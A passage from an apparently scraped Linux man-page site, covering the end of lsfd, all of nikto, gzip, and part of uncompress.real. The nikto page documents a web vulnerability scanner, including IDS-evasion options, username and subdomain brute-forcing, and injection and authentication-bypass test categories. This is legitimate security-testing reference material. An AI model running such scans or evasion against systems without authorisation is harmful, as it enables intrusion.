UNIX

state=SOCK.STATE[ path=UNIX.PATH] type=SOCK.TYPE

Note that (deleted) markers are removed from this column. Refer to KNAME, DELETED, or XMODE to know the readability of the file from the file system.

NETLINK.GROUPS <number>

Netlink multicast groups.

NETLINK.LPORT <number>

Netlink local port id.

NETLINK.PROTOCOL <string>

Netlink protocol.

NLINK <number>

Link count.

NS.NAME <string>

Name (NS.TYPE:[INODE]) of the namespace specified with the file.

NS.TYPE <string>

Type of the namespace specified with the file. The type is mnt, cgroup, uts, ipc, user, pid, net, time, or unknown.

OWNER <string>

Owner of the file.

PACKET.IFACE <string>

Interface name associated with the packet socket.

PACKET.PROTOCOL <string>

L3 protocol associated with the packet socket.

PARTITION <string>

Block device name resolved by /proc/partition.

PID <number>

PID of the process opening the file.

PIDFD.COMM <string>

Command of the process targeted by the pidfd.

PIDFD.NSPID <string>

Value of NSpid field in /proc/pid/fdinfo/fd of the pidfd.

Quoted from kernel/fork.c of Linux source tree:

If pid namespaces are supported then this function will also print the pid of a given pidfd refers to for all descendant pid namespaces starting from the current pid namespace of the instance, i.e. the Pid field and the first entry in the NSpid field will be identical.

Note that this differs from the Pid and NSpid fields in /proc/<pid>/status where Pid and NSpid are always shown relative to the pid namespace of the procfs instance.

PIDFD.PID <number>

PID of the process targeted by the pidfd.

PING.ID <`number`>

ICMP echo request id used on the PING socket.

POS <number>

File position.

RAW.PROTOCOL <number>

Protocol number of the raw socket.

RDEV <string>

Device ID (if special file).

SIGNALFD.MASK <string>

Masked signals.

SIZE <number>

File size.

SOCK.LISTENING <boolean>

Listening socket.

SOCK.NETS <number>

Inode identifying network namespace where the socket belongs to.

SOCK.PROTONAME <string>

Protocol name.

SOCK.SHUTDOWN <string>

Shutdown state of socket.

[-r?]

If the first character is r, the receptions are allowed. If it is -, the receptions are disallowed. If it is ?, the state is unknown.

[-w?]

If the second character is w, the transmissions are allowed. If it is -, the transmissions are disallowed. If it is ?, the state is unknown.

SOCK.STATE <string>

State of socket.

SOCK.TYPE <string>

Type of socket. Here type means the second parameter of socket system call:

·

stream

·

dgram

·

raw

·

rdm

·

seqpacket

·

dccp

·

packet

SOURCE <string>

File system, partition, or device containing the file.

STTYPE <string>

Raw file types returned from stat(2): BLK, CHR, DIR, FIFO, LINK, REG, SOCK, or UNKN.

TCP.LADDR <string>

Local L3 (INET.LADDR or INET6.LADDR) address and local TCP port.

TCP.LPORT <number>

Local TCP port.

TCP.RADDR <string>

Remote L3 (INET.RADDR or INET6.RADDR) address and remote TCP port.

TCP.RPORT <number>

Remote TCP port.

TID <number>

Thread ID of the process opening the file.

TIMERFD.CLOCKID <string>

Clockid.

TIMERFD.INTERVAL <number>

Interval.

TIMERFD.REMAINING <number>

Remaining time.

PTMX.TTY-INDEX <number>

TTY index of the counterpart.

TUN.IFACE <string>

Network interface behind the tun device.

TYPE <string>

Cooked version of STTYPE. It is same as STTYPE with exceptions. For SOCK, print the value for SOCK.PROTONAME. For UNKN, print the value for AINODECLASS if SOURCE is anon_inodefs.

UDP.LADDR <string>

Local IP address and local UDP port.

UDP.LPORT <number>

Local UDP port.

UDP.RADDR <string>

Remote IP address and remote UDP port.

UDP.RPORT <number>

Remote UDP port.

UDPLITE.LADDR <string>

Local IP address and local UDPLite port.

UDPLITE.LPORT <number>

Local UDP port.

UDPLITE.RADDR <string>

Remote IP address and remote UDPLite port.

UDPLITE.RPORT <number>

Remote UDP port.

UID <number>

User ID number.

UNIX.PATH <string>

Filesystem pathname for UNIX domain socket.

USER <string>

User of the process.

XMODE <string>

Extended version of MODE. This column may grow; new letters may be appended to XMODE when lsfd supports a new state of file descriptors and/or memory mappings.

[-r]

opened of mapped for reading. This is also in MODE.

[-w]

opened of mapped for writing. This is also in MODE.

[-x]

mapped for executing the code. This is also in MODE.

[-D]

deleted from the file system. See also DELETED.

[-Ll]

locked or leased. l represents a read, a shared lock or a read lease. L represents a write or an exclusive lock or a write lease. If both read/shared and write/exclusive locks or leases are taken by a file descriptor, L is used as the flag.

[-m]

Multiplexed. If the file descriptor is targeted by a eventpoll file or classical system calls for multiplexing (select, pselect, poll, and ppoll), this bit flag is set. Note that if an invocation of the classical system calls is interrupted, lsfd may fail to mark m on the file descriptors monitored by the invocation. See restart_syscall(2).

FILTER EXAMPLES

lsfd has few options for filtering. In most of cases, what you should know is -Q (or –filter) option. Combined with -o (or –output) option, you can customize the output as you want.

List files associated with PID 1 and PID 2 processes:

lsfd -Q (PID == 1) or (PID == 2)

Do the same in an alternative way:

lsfd -Q (PID == 1) || (PID == 2)

Do the same in a more efficient way:

lsfd –pid 1,2

Whitescapes can be used instead of a comma:

lsfd –pid 1 2

Utilize pidof(1) for list the files associated with “firefox”:

lsfd –pid “$(pidof firefox)”

List the 1st file descriptor opened by PID 1 process:

lsfd -Q (PID == 1) and (FD == 1)

Do the same in an alternative way:

lsfd -Q (PID == 1) && (FD == 1)

List all running executables:

lsfd -Q ASSOC == “exe”

Do the same in an alternative way:

lsfd -Q ASSOC eq “exe”

Do the same but print only file names:

lsfd -o NAME -Q ASSOC eq “exe” | sort -u

List deleted files associated to processes:

lsfd -Q DELETED

List non-regular files:

lsfd -Q TYPE != “REG”

List block devices:

lsfd -Q DEVTYPE == “blk”

Do the same with TYPE column:

lsfd -Q TYPE == “BLK”

List files including “dconf” directory in their names:

lsfd -Q NAME =~ “.*/dconf/.*”

List files opened in a QEMU virtual machine:

lsfd -Q (COMMAND =~ “.*qemu.*”) and (FD >= 0)

List timerfd files expired within 0.5 seconds:

lsfd -Q (TIMERFD.remaining < 0.5) and (TIMERFD.remaining > 0.0)

COUNTER EXAMPLES

Report the numbers of netlink socket descriptors and unix socket descriptors:

lsfd –summary=only \

        -C netlink sockets:(NAME =~ "NETLINK:.*") \
        -C unix sockets:(NAME =~ "UNIX:.*")
VALUE COUNTER
   57 netlink sockets
 1552 unix sockets

Do the same but print in JSON format:

lsfd –summary=only –json \

        -C netlink sockets:(NAME =~ "NETLINK:.*") \
        -C unix sockets:(NAME =~ "UNIX:.*")
{
   "lsfd-summary": [
      {
         "value": 15,
         "counter": "netlink sockets"
      },{
         "value": 798,
         "counter": "unix sockets"
      }
   ]
}

HISTORY

The lsfd command is part of the util-linux package since v2.38.

AUTHORS

SEE ALSO

bpftool(8) bps(8) lslocks(8) lsof(8) pidof(1) proc(5) scols-filter(5) socket(2) ss(8) stat(2)

REPORTING BUGS

For bug reports, use the issue tracker at <https://github.com/util-linux/util-linux/issues>.

AVAILABILITY

The lsfd command is part of the util-linux package which can be downloaded from Linux Kernel Archive <https://www.kernel.org/pub/linux/utils/util-linux/>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2261 - Linux cli command nikto

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command nikto and provides detailed information about the command nikto, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the nikto.

NAME 🖥️ nikto 🖥️

Scan web server for known vulnerabilities

SYNOPSIS

nikto [options…]

DESCRIPTION

Examine a web server to find potential problems and security vulnerabilities, including:

·Server and software misconfigurations

·Default files and programs

·Insecure files and programs

·Outdated servers and programs

Nikto is built on LibWhisker (by RFP) and can run on any platform which has a Perl environment. It supports SSL, proxies, host authentication, IDS evasion and more. It can be updated automatically from the command-line, and supports the optional submission of updated version data back to the maintainers.

OPTIONS

Below are all of the Nikto command line options and explanations. A brief version of this text is available by running Nikto with the -h (-help) option.

-Cgidirs

Scan these CGI directories. Special words “none” or “all” may be used to scan all CGI directories or none, (respectively). A literal value for a CGI directory such as “/cgi-test/” may be specified (must include trailing slash). If this is option is not specified, all CGI directories listed in config.txt will be tested.

-config

Specify an alternative config file to use instead of the config.txt located in the install directory.

-dbcheck

Check the scan databases for syntax errors.

-Display

Control the output that Nikto shows. See Chapter 5 for detailed information on these options. Use the reference number or letter to specify the type, multiple may be used:

1 - Show redirects

2 - Show cookies received

3 - Show all 200/OK responses

4 - Show URLs which require authentication

D - Debug Output

V - Verbose Output

-evasion

Specify the LibWhisker IDS evasion technique to use (see the LibWhisker docs for detailed information on these). Use the reference number to specify the type, multiple may be used:

1 - Random URI encoding (non-UTF8)

2 - Directory self-reference (/./)

3 - Premature URL ending

4 - Prepend long random string

5 - Fake parameter

6 - TAB as request spacer

7 - Change the case of the URL

8 - Use Windows directory separator (\

-Format

Save the output file specified with -o (-output) option in this format. If not specified, the default will be taken from the file extension specified in the -output option. Valid formats are:

csv - a comma-seperated list

htm - an HTML report

txt - a text report

xml - an XML report

-host

Host(s) to target. Can be an IP address, hostname or text file of hosts. A single dash (-) maybe used for stdout. Can also parse nmap -oG style output

-Help

Display extended help information.

-id

ID and password to use for host Basic host authentication. Format is “id:password”.

-list-plugins

Will list all plugins that Nikto can run against targets and then will exit without performing a scan. These can be tuned for a session using the -plugins option.

The output format is:

Plugin name

full name - description

Written by author, Copyright (C) copyright

-mutate

Specify mutation technique. A mutation will cause Nikto to combine tests or attempt to guess values. These techniques may cause a tremendous amount of tests to be launched against the target. Use the reference number to specify the type, multiple may be used:

1 - Test all files with all root directories

2 - Guess for password file names

3 - Enumerate user names via Apache (/~user type requests)

4 - Enumerate user names via cgiwrap (/cgi-bin/cgiwrap/~user type requests)

5 - Attempt to brute force sub-domain names, assume that the host name is the parent domain

6 - Attempt to guess directory names from the supplied dictionary file

-mutate-options

Provide extra information for mutates, e.g. a dictionary file

-nolookup

Do not perform name lookups on IP addresses.

-nossl

Do not use SSL to connect to the server.

-no404

Disable 404 (file not found) checking. This will reduce the total number of requests made to the webserver and may be preferable when checking a server over a slow link, or an embedded device. This will generally lead to more false positives being discovered.

-output

Write output to the file specified. The format used will be taken from the file extension. This can be over-riden by using the -Format option (e.g. to write text files with a different extension. Existing files will have new information appended.

-plugins

Select which plugins will be run on the specified targets. A comma separated list should be provided which lists the names of the plugins. The names can be found by using -list-plugins.

There are two special entries: ALL, which specifies all plugins shall be run and NONE, which specifies no plugins shall be run. The default is ALL

-port

TCP port(s) to target. To test more than one port on the same host, specify the list of ports in the -p (-port) option. Ports can be specified as a range (i.e., 80-90), or as a comma-delimited list, (i.e., 80,88,90). If not specified, port 80 is used.

-Pause

Seconds to delay between each test.

-root

Prepend the value specified to the beginning of every request. This is useful to test applications or web servers which have all of their files under a certain directory.

-ssl

Only test SSL on the ports specified. Using this option will dramatically speed up requests to HTTPS ports, since otherwise the HTTP request will have to timeout first.

-Single

Perform a single request to a target server. Nikto will prompt for all options which can be specified, and then report the detailed output. See Chapter 5 for detailed information.

-timeout

Seconds to wait before timing out a request. Default timeout is 10 seconds.

-Tuning

Tuning options will control the test that Nikto will use against a target. By default, if any options are specified, only those tests will be performed. If the “x” option is used, it will reverse the logic and exclude only those tests. Use the reference number or letter to specify the type, multiple may be used:

0 - File Upload

1 - Interesting File / Seen in logs

2 - Misconfiguration / Default File

3 - Information Disclosure

4 - Injection (XSS/Script/HTML)

5 - Remote File Retrieval - Inside Web Root

6 - Denial of Service

7 - Remote File Retrieval - Server Wide

8 - Command Execution / Remote Shell

9 - SQL Injection

a - Authentication Bypass

b - Software Identification

c - Remote Source Inclusion

x - Reverse Tuning Options (i.e., include all except specified)

The given string will be parsed from left to right, any x characters will apply to all characters to the right of the character.

-useproxy

Use the HTTP proxy defined in the configuration file.

-update

Update the plugins and databases directly from cirt.net.

-Version

Display the Nikto software, plugin and database versions.

-vhost

Specify the Host header to be sent to the target.

FILES

nikto.conf

The Nikto configuration file. This sets Nikto’s global options. Several nikto.conf files may exist and are parsed in the below order. As each configuration file is loaded is supersedes any previously set configuration:

·System wide (e.g. /etc/nikto.conf)

·Home directory (e.g. $HOME/nikto.conf)

·Current directory (e.g. ./nikto.conf)

${NIKTO_DIR}/plugins/db*

db files are the databases that nikto uses to check for vulnerabilities and issues within the web server.

${NIKTO_DIR}/plugins/*.plugin

All nikto’s plugins exist here. Nikto itself is just a wrapper script to manage CLI and pass through to the plugins.

${NIKTO_DIR}/templates

Contains the templates for nikto’s output formats.

BUGS

The current features are not supported:

·SOCKS Proxies

AUTHORS

Nikto is written and maintained by Chris Sullo and David Lodge. See the main documentation for other contributors.

All code is (C) Chris Sullo., except LibWhisker which is (C) rfp.labs (wiretrip.net). Other portions of code may be (C) as specified.

SEE ALSO

Nikto Homepage[1]

NOTES

Nikto Homepage

https://cirt.net/

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2262 - Linux cli command gzip

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command gzip and provides detailed information about the command gzip, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the gzip.

NAME 🖥️ gzip 🖥️

compress or expand files

SYNOPSIS

gzip [** -acdfhklLnNrtvV19 ] [-S suffix**] [ name … ]

gunzip [** -acfhklLnNrtvV ] [-S suffix**] [ name … ]
zcat [** -fhLV **] [ name … ]

DESCRIPTION

The gzip command reduces the size of the named files using Lempel-Ziv coding (LZ77). Whenever possible, each file is replaced by one with the extension .gz, while keeping the same ownership modes, access and modification times. (The default extension is z for MSDOS, OS/2 FAT, Windows NT FAT and Atari.) If no files are specified, or if a file name is “-”, the standard input is compressed to the standard output. The gzip command will only attempt to compress regular files. In particular, it will ignore symbolic links.

If the compressed file name is too long for its file system, gzip truncates it. The gzip command attempts to truncate only the parts of the file name longer than 3 characters. (A part is delimited by dots.) If the name consists of small parts only, the longest parts are truncated. For example, if file names are limited to 14 characters, gzip.msdos.exe is compressed to gzi.msd.exe.gz. Names are not truncated on systems which do not have a limit on file name length.

By default, gzip keeps the original file name and timestamp in the compressed file. These are used when decompressing the file with the -N option. This is useful when the compressed file name was truncated or when the timestamp was not preserved after a file transfer.

Compressed files can be restored to their original form using gzip -d or gunzip or zcat. If the original name saved in the compressed file is not suitable for its file system, a new name is constructed from the original one to make it legal.

gunzip takes a list of files on its command line and replaces each file whose name ends with .gz, -gz, .z, -z, or _z (ignoring case) and which begins with the correct magic number with an uncompressed file without the original extension. gunzip also recognizes the special extensions .tgz and .taz as shorthands for .tar.gz and .tar.Z respectively. When compressing, gzip uses the .tgz extension if necessary instead of truncating a file with a .tar extension.

gunzip can currently decompress files created by gzip, zip, compress, compress -H or pack. The detection of the input format is automatic. When using the first two formats, gunzip checks a 32 bit CRC. For pack and gunzip checks the uncompressed length. The standard compress format was not designed to allow consistency checks. However gunzip is sometimes able to detect a bad .Z file. If you get an error when uncompressing a .Z file, do not assume that the .Z file is correct simply because the standard uncompress does not complain. This generally means that the standard uncompress does not check its input, and happily generates garbage output. The SCO compress -H format (lzh compression method) does not include a CRC but also allows some consistency checks.

Files created by zip can be uncompressed by gzip only if they have a single member compressed with the ‘deflation’ method. This feature is only intended to help conversion of tar.zip files to the tar.gz format. To extract a zip file with a single member, use a command like ‘gunzip <foo.zip’ or ‘gunzip -S .zip foo.zip’. To extract zip files with several members, use unzip instead of gunzip.

The zcat command is identical to gunzip -c. (On some systems, zcat may be installed as gzcat to preserve the original link to compress.) zcat uncompresses either a list of files on the command line or its standard input and writes the uncompressed data on standard output. zcat will uncompress files that have the correct magic number whether they have a .gz suffix or not.

The gzip command uses the Lempel-Ziv algorithm used in zip and PKZIP. The amount of compression obtained depends on the size of the input and the distribution of common substrings. Typically, text such as source code or English is reduced by 60-70%. Compression is generally much better than that achieved by LZW (as used in compress), Huffman coding (as used in pack), or adaptive Huffman coding (compact).

Compression is always performed, even if the compressed file is slightly larger than the original. The worst case expansion is a few bytes for the gzip file header, plus 5 bytes per 32 KiB block, or an expansion ratio of 0.015% for large files. The actual number of used disk blocks almost never increases.

gzip normally preserves the mode and modification timestamp of a file when compressing or decompressing. If you have appropriate privileges, it also preserves the file’s owner and group.

OPTIONS

-a –ascii
Ascii text mode: convert end-of-lines using local conventions. This option is supported only on some non-Unix systems. For MSDOS, CR LF is converted to LF when compressing, and LF is converted to CR LF when decompressing.

-c –stdout –to-stdout
Write output on standard output; keep original files unchanged. If there are several input files, the output consists of a sequence of independently compressed members. To obtain better compression, concatenate all input files before compressing them.

-d –decompress –uncompress
Decompress.

-f –force
Force compression or decompression even if the file has multiple links or the corresponding file already exists, or if the compressed data is read from or written to a terminal. If the input data is not in a format recognized by gzip, and if the option –stdout is also given, copy the input data without change to the standard output: let zcat behave as cat. If -f is not given, and when not running in the background, gzip prompts to verify whether an existing file should be overwritten.

-h –help
Display a help screen and quit.

-k –keep
Keep (don’t delete) input files during compression or decompression.

-l –list
For each compressed file, list the following fields:

compressed size: size of the compressed file uncompressed size: size of the uncompressed file ratio: compression ratio (0.0% if unknown) uncompressed_name: name of the uncompressed file

The uncompressed size is given as -1 for files not in gzip format, such as compressed .Z files. To get the uncompressed size for such a file, you can use:

zcat file.Z | wc -c

In combination with the –verbose option, the following fields are also displayed:

method: compression method crc: the 32-bit CRC of the uncompressed data date & time: timestamp for the uncompressed file

The compression methods currently supported are deflate, compress, lzh (SCO compress -H) and pack. The crc is given as ffffffff for a file not in gzip format.

With –name, the uncompressed name, date and time are those stored within the compress file if present.

With –verbose, the size totals and compression ratio for all files is also displayed, unless some sizes are unknown. With –quiet, the title and totals lines are not displayed.

-L –license
Display the gzip license and quit.

-n –no-name
When compressing, do not save the original file name and timestamp by default. (The original name is always saved if the name had to be truncated.) When decompressing, do not restore the original file name if present (remove only the gzip suffix from the compressed file name) and do not restore the original timestamp if present (copy it from the compressed file). This option is the default when decompressing.

-N –name
When compressing, always save the original file name, and save the seconds part of the original modification timestamp if the original is a regular file and its timestamp is at least 1 (1970-01-01 00:00:01 UTC) and is less than 2**32 (2106-02-07 06:28:16 UTC, assuming leap seconds are not counted); this is the default. When decompressing, restore from the saved file name and timestamp if present. This option is useful on systems which have a limit on file name length or when the timestamp has been lost after a file transfer.

-q –quiet
Suppress all warnings.

-r –recursive
Travel the directory structure recursively. If any of the file names specified on the command line are directories, gzip will descend into the directory and compress all the files it finds there (or decompress them in the case of gunzip ).

-S .suf –suffix .suf
When compressing, use suffix .suf instead of .gz. Any non-empty suffix can be given, but suffixes other than .z and .gz should be avoided to avoid confusion when files are transferred to other systems.

When decompressing, add .suf to the beginning of the list of suffixes to try, when deriving an output file name from an input file name.

–synchronous
Use synchronous output. With this option, gzip is less likely to lose data during a system crash, but it can be considerably slower.

-t –test
Test. Check the compressed file integrity then quit.

-v –verbose
Verbose. Display the name and percentage reduction for each file compressed or decompressed.

-V –version
Version. Display the version number and compilation options then quit.

-# –fast –best
Regulate the speed of compression using the specified digit #, where -1 or –fast indicates the fastest compression method (less compression) and -9 or –best indicates the slowest compression method (best compression). The default compression level is -6 (that is, biased towards high compression at expense of speed).

–rsyncable
When you synchronize a compressed file between two computers, this option allows rsync to transfer only files that were changed in the archive instead of the entire archive. Normally, after a change is made to any file in the archive, the compression algorithm can generate a new version of the archive that does not match the previous version of the archive. In this case, rsync transfers the entire new version of the archive to the remote computer. With this option, rsync can transfer only the changed files as well as a small amount of metadata that is required to update the archive structure in the area that was changed.

ADVANCED USAGE

Multiple compressed files can be concatenated. In this case, gunzip will extract all members at once. For example:

gzip -c file1 > foo.gz gzip -c file2 >> foo.gz

Then

gunzip -c foo

is equivalent to

cat file1 file2

In case of damage to one member of a .gz file, other members can still be recovered (if the damaged member is removed). However, you can get better compression by compressing all members at once:

cat file1 file2 | gzip > foo.gz

compresses better than

gzip -c file1 file2 > foo.gz

If you want to recompress concatenated files to get better compression, do:

gzip -cd old.gz | gzip > new.gz

If a compressed file consists of several members, the uncompressed size and CRC reported by the –list option applies to the last member only. If you need the uncompressed size for all members, you can use:

gzip -cd file.gz | wc -c

If you wish to create a single archive file with multiple members so that members can later be extracted independently, use an archiver such as tar or zip. GNU tar supports the -z option to invoke gzip transparently. gzip is designed as a complement to tar, not as a replacement.

ENVIRONMENT

The obsolescent environment variable GZIP can hold a set of default options for gzip. These options are interpreted first and can be overwritten by explicit command line parameters. As this can cause problems when using scripts, this feature is supported only for options that are reasonably likely to not cause too much harm, and gzip warns if it is used. This feature will be removed in a future release of gzip.

You can use an alias or script instead. For example, if gzip is in the directory /usr/bin you can prepend $HOME/bin to your PATH and create an executable script $HOME/bin/gzip containing the following:

#! /bin/sh export PATH=/usr/bin exec gzip -9 “$@”

SEE ALSO

znew(1), zcmp(1), zmore(1), zforce(1), gzexe(1), zip(1), unzip(1), compress(1)

The gzip file format is specified in P. Deutsch, GZIP file format specification version 4.3, <https://www.ietf.org/rfc/rfc1952.txt>, Internet RFC 1952 (May 1996). The zip deflation format is specified in P. Deutsch, DEFLATE Compressed Data Format Specification version 1.3, <https://www.ietf.org/rfc/rfc1951.txt>, Internet RFC 1951 (May 1996).

DIAGNOSTICS

Exit status is normally 0; if an error occurs, exit status is 1. If a warning occurs, exit status is 2.

Usage: gzip [-cdfhklLnNrtvV19] [-S suffix] [file …]
Invalid options were specified on the command line.

file : not in gzip format
The file specified to gunzip has not been compressed.

file : Corrupt input. Use zcat to recover some data.
The compressed file has been damaged. The data up to the point of failure can be recovered using

zcat file > recover

file : compressed with xx bits, can only handle yy bits
File was compressed (using LZW) by a program that could deal with more bits than the decompress code on this machine. Recompress the file with gzip, which compresses better and uses less memory.

file : already has .gz suffix – unchanged
The file is assumed to be already compressed. Rename the file and try again.

file already exists; do you wish to overwrite (y or n)?
Respond “y” if you want the output file to be replaced; “n” if not.

gunzip: corrupt input
A SIGSEGV violation was detected which usually means that the input file has been corrupted.

xx.x% Percentage of the input saved by compression.
(Relevant only for -v and -l.)

– not a regular file or directory: ignored
When the input file is not a regular file or directory, (e.g. a symbolic link, socket, FIFO, device file), it is left unaltered.

– has xx other links: unchanged
The input file has links; it is left unchanged. See ln(1) for more information. Use the -f flag to force compression of multiply-linked files.

CAVEATS

When writing compressed data to a tape, it is generally necessary to pad the output with zeroes up to a block boundary. When the data is read and the whole block is passed to gunzip for decompression, gunzip detects that there is extra trailing garbage after the compressed data and emits a warning by default. You can use the –quiet option to suppress the warning.

BUGS

In some rare cases, the –best option gives worse compression than the default compression level (-6). On some highly redundant files, compress compresses better than gzip.

REPORTING BUGS

Report bugs to: [email protected]
GNU gzip home page: <https://www.gnu.org/software/gzip/>
General help using GNU software: <https://www.gnu.org/gethelp/>

COPYRIGHT NOTICE

Copyright © 1998-1999, 2001-2002, 2012, 2015-2022 Free Software Foundation, Inc.
Copyright © 1992, 1993 Jean-loup Gailly

Permission is granted to make and distribute verbatim copies of this manual provided the copyright notice and this permission notice are preserved on all copies.

Permission is granted to process this file through troff and print the results, provided the printed document carries copying permission notice identical to this one except for the removal of this paragraph (this paragraph not being relevant to the printed manual).

Permission is granted to copy and distribute modified versions of this manual under the conditions for verbatim copying, provided that the entire resulting derived work is distributed under the terms of a permission notice identical to this one.

Permission is granted to copy and distribute translations of this manual into another language, under the above conditions for modified versions, except that this permission notice may be stated in a translation approved by the Foundation.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2263 - Linux cli command uncompress.real

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command uncompress.real and provides detailed information about the command uncompress.real, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the uncompress.real.

NAME 🖥️ uncompress.real 🖥️

compress and expand data

SYNOPSIS

compress [ -f ] [ -k ] [ -v ] [ -c ] [ -V ] [ -r ] [ -b bits ] [ ] [ name … ]

uncompress.real [ -f ] [ -k ] [ -v ] [ -c ] [ -V ] [ ] [ name … ]

DESCRIPTION

Note that the program that would normally be installed as uncompress is installed for Debian as uncompress.real. This has been done to avoid conflicting with the more-commonly-used program with the same name that is part of the gzip package.

Compress reduces the size of the named files using adaptive Lempel-Ziv coding. Whenever possible, each file is replaced by one with the extension .Z, while keeping the same ownership modes, access and modification times. If no files are specified, the standard input is compressed to the standard output. Compress will only attempt to compress regular files. In particular, it will ignore symbolic links. If a file has multiple hard links, compress will refuse to compress it unless the -f flag is given.

If -f is not given and compress is run in the foreground, the user is prompted as to whether an existing file should be overwritten.

Compressed files can be restored to their original form using uncompress.real.

uncompress.real takes a list of files on its command line and replaces each file whose name ends with .Z and which begins with the correct magic number with an uncompressed file without the .Z. The uncompressed file will have the mode, ownership and timestamps of the compressed file.

The -k option makes compress/uncompress keep the input files instead of automatically removing them.

The -c option makes compress/uncompress.real write to the standard output; no files are changed.

If the -r flag is specified, compress will operate recursively. If any of the file names specified on the command line are directories, compress will descend into the directory and compress all the files it finds there. When compressing, any files already compressed will be ignored, and when decompressing, any files already decompressed will be ignored.

The -V flag tells each of these programs to print its version and patchlevel, along with any preprocessor flags specified during compilation, on stderr before doing any compression or uncompression.

Compress uses the modified Lempel-Ziv algorithm popularized in “A Technique for High Performance Data Compression”, Terry A. Welch, IEEE Computer, vol. 17, no. 6 (June 1984), pp. 8–19. Common substrings in the file are first replaced by 9-bit codes 257 and up. When code 512 is reached, the algorithm switches to 10-bit codes and continues to use more bits until the limit specified by the -b flag is reached (default 16). Bits must be between 9 and 16. The default can be changed in the source to allow compress to be run on a smaller machine.

After the bits limit is attained, compress periodically checks the compression ratio. If it is increasing, compress continues to use the existing code dictionary. However, if the compression ratio decreases, compress discards the table of substrings and rebuilds it from scratch. This allows the algorithm to adapt to the next “block” of the file.

Note that the -b flag is omitted for uncompress.real, since the bits parameter specified during compression is encoded within the output, along with a magic number to ensure that neither decompression of random data nor recompression of compressed data is attempted.

The amount of compression obtained depends on the size of the input, the number of bits per code, and the distribution of common substrings. Typically, text such as source code or English is reduced by 50–60%. Compression is generally much better than that achieved by Huffman coding (as used in pack), or adaptive Huffman coding (compact), and takes less time to compute.

Under the -v option, a message is printed yielding the percentage of reduction for each file compressed.

may be used to halt option parsing and force all remaining arguments to be treated as paths.

DIAGNOSTICS

Exit status is normally 0; if the last file is larger after (attempted) compression, the status is 2; if an error occurs, exit status is 1.

Usage: compress [-dfvcVr] [-b maxbits] [file …]

Invalid options were specified on the command line.

Missing maxbits

Maxbits must follow -b.

file: not in compressed format

The file specified to uncompress.real has not been compressed.

file: compressed with xx bits, can only handle yy bits

File was compressed by a program that could deal with more bits than the compress code on this machine. Recompress the file with smaller bits.

file: already has .Z suffix – no change

The file is assumed to be already compressed. Rename the file and try again.

file: filename too long to tack on .Z

The file cannot be compressed because its name is longer than 12 characters. Rename and try again. This message does not occur on BSD systems.

file already exists; do you wish to overwrite (y or n)?

Respond “y” if you want the output file to be replaced; “n” if not.

uncompress.real: corrupt input

A SIGSEGV violation was detected which usually means that the input file has been corrupted.

Compression: xx.xx%

Percentage of the input saved by compression. (Relevant only for -v.)

– not a regular file or directory: ignored

When the input file is not a regular file or directory, (e.g. a symbolic link, socket, FIFO, device file), it is left unaltered.

– has xx other links: unchanged

